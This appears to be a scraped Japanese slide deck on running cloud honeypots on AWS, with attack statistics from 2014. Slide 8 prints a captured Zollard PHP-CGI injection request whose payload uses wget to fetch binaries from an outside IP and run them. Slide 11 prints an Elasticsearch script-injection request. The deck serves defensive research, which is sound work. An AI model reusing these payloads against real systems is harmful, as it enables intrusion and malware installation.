Más contenido relacionado
La actualidad más candente (11)
クラウドハニーポットを運用しよう!
- 2. Honeypot ハニーポット(英語: Honeypot) は、コンピュータセキュリティ
用語としては、不正アクセスを受けることに価値を持つシステム
のことを指す。元来は「蜜(の詰まった)壷」の意味で、何らか
の有益そうな情報や資源がありそうな場所を用意して、それにつ
られた者を観察したり、肝心な部分で被害を出さないために目を
逸らせたり、コンピュータ・フォレンジックスを行うための証拠
を集めたりする、一種の囮手法に使われる。手法そのものをハ
ニーポットと呼ぶこともある。ハニーポットは囮のために設置す
るので正規の通信が発生しないという特徴がある。これは、記録
に残るアクセスはすべて不正アクセスとなるので、誤検知を減ら
し検知洩れを無くすことができる。ハニーポットの目的として、
ウイルスやワームの検体の入手、不正アクセスを行うクラッカー
をおびき寄せ重要なシステムから攻撃を逸らしたり、記録された
操作ログ・通信ログなどから不正アクセスの手法と傾向の調査を
行うなど挙げられる。
http://www.infiltrated.net/voipabuse/honeypot/
- 3. なんでクラウド?
IPアドレスがばれるとゴミ
データが流れてくる&寄り
付かれなくなる可能性が
インスタンス上げたり消した
りができるので、変更が容易
ハニーポット専用にマシン
やネットワークを用意する
のが大変
APIで増やせる。
金の力でスケールアウトする
今どきDbDがメジャーで
ISPとかだと直接攻撃コー
ドとか送ってこないのでは
クラウドサービスだとサー
バとして動いているマシン
があるのが前提なので無差
別攻撃してくる
- 5. 構成
AWS
Honeypot
instnace 1
NIC1
NIC2
Honeypot
instnace 2
NIC1
NIC2
Honeypot
instnace 3
NIC1
NIC2
制御用
ハニーポット用
制御用
ハニーポット用
制御用
ハニーポット用
The Internet
54.64.a.a
54.64.b.b
54.64.c.c
54.64.d.d
54.64.e.e
54.64.f.f
- 6. Honeypot Software
超低インタラクション型ハニーポット
Lurker (https://github.com/m-mizutani/lurker)
TCPのSYNに対してSYN-ACKのみ返す
利点
IPアドレスに対するスケーラビリティ
多数のポートを同時に監視できるシンプルな実装
攻撃側Lurker (Honeypot)
SYN
SYN+ACK
ACK
Data
- 7. Experience Summary
2014年9月28日〜10月18日に3台で監視
攻撃してきたホスト:2001 IPアドレス
ユニークな送信元IPアドレスレンジ/16 ranking
3位61.153.0.0/16 (CN)、39 IPアドレス
2位222.186.0.0/16 (CN)、39 IPアドレス
1位122.225.0.0/16 (CN)、63 IPアドレス
アクセスポート番号ranking
5000
4000
3000
2000
1000
0
443 3389 22 1433 3128 135 80 445 その他
- 8. Port 80へのアクセス例
POST /cgi-bin/
php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F
%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+
%2D%64+%64%69%73%61%62%6C%65%5F%66
%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D
%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6
4+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2%72%65%64%69%72
%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
Host: 54.64.66.18
User-Agent: Mozilla/5.0 (compatible; Zollard; Linux)
Content-Type: application/x-www-form-urlencoded
Content-Length: 1809
Connection: close
<?php
echo "Zollard";
$disablefunc = @ini_get("disable_functions");
(中略)
myshellexec("rm -rf /tmp/armeabi;wget -P /tmp http://1.54.234.131:58455/armeabi;chmod +x /tmp/armeabi");
myshellexec("rm -rf /tmp/arm;wget -P /tmp http://1.54.234.131:58455/arm;chmod +x /tmp/arm");
myshellexec("rm -rf /tmp/ppc;wget -P /tmp http://1.54.234.131:みせら58455/れないppc;よchmod !
+x /tmp/ppc");
myshellexec("rm -rf /tmp/mips;wget -P /tmp http://1.54.234.131:58455/mips;chmod +x /tmp/mips");
myshellexec("rm -rf /tmp/mipsel;wget -P /tmp http://1.54.234.131:58455/mipsel;chmod +x /tmp/mipsel");
myshellexec("rm -rf /tmp/x86;wget -P /tmp http://1.54.234.131:58455/x86;chmod +x /tmp/x86");
myshellexec("rm -rf /tmp/nodes;wget -P /tmp http://1.54.234.131:58455/nodes;chmod +x /tmp/nodes");
myshellexec("rm -rf /tmp/sig;wget -P /tmp http://1.54.234.131:58455/sig;chmod +x /tmp/sig");
myshellexec("/tmp/armeabi;/tmp/arm;/tmp/ppc;/tmp/mips;/tmp/mipsel;/tmp/x86;");
?>
みせられないよ!
HTTPのリクエストとか
が視える!
- 9. Port 22へのアクセス後に送信されたデータの種別
0 20 40 60 80 100 120 140 160
stats
SSH-2.0-libssh2_1.4.3 PHP
SSH-2.0-libssh2_1.4.3
SSH-2.0-libssh2_1.4.2
SSH-2.0-libssh2_1.4.1
SSH-2.0-libssh2_1.4.0
SSH-2.0-libssh2_1.2.8 PHP
SSH-2.0-PuTTY_Local:_May_14_2009_21:12:18
SSH-2.0-JSCH-0.1.51
SSH-2.0-JSCH-0.1.44
GET / HTTP/1.0
(none)
SSHのクライアント名がみえる!
(意外に堂々とlibsshが使われている)
- 10. ”^SSH-”が含まれるアクセスのポート
0 500 1000 1500 2000 2500 3000
60022
50022
22345
22222
22000
20022
10022
9022
8122
8023
8022
7022
5022
3022
2222
2202
2200
2022
1234
1022
22
ポート22以外にもSSHでつなぎにきて
いることがわかる
- 11. その他
To Port 9200
GET
/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script
_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;import%20java.io.*;String%20str%20=%20%22
%22;BufferedReader%20br%20=%20new%20BufferedReader(new%20InputStreamReader(Runtime.getRuntime().ex
ec(%22chmod%200777%20%2ftmp%2f%2a%22).getInputStream()));StringBuilder%20sb%20=%20new%20StringB
uilder();while((str=br.readLine())!=null){sb.append(str);sb.append(%5C%22%5Cr%5Cn%5C%22);}sb.toString();%22}}}
HTTP/1.1
User-Agent: InetURL:/1.0
ポート80以外にもHTTPリクエストが
Host: 54.64.66.18:9200
Cache-Control: no-cache
投げ込まれていることがわかる
To Port 21320
GET http://headers.nixipdb.com/ HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64; rv:20.0) Gecko/20100101 Firefox/20.0
Host: headers.nixipdb.com
Accept-Encoding: deflate, gzip
Proxy-Connection: Keep-Alive
Accept-Language: en-gb,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Pragma: no-cache
Cache-Control: no-cache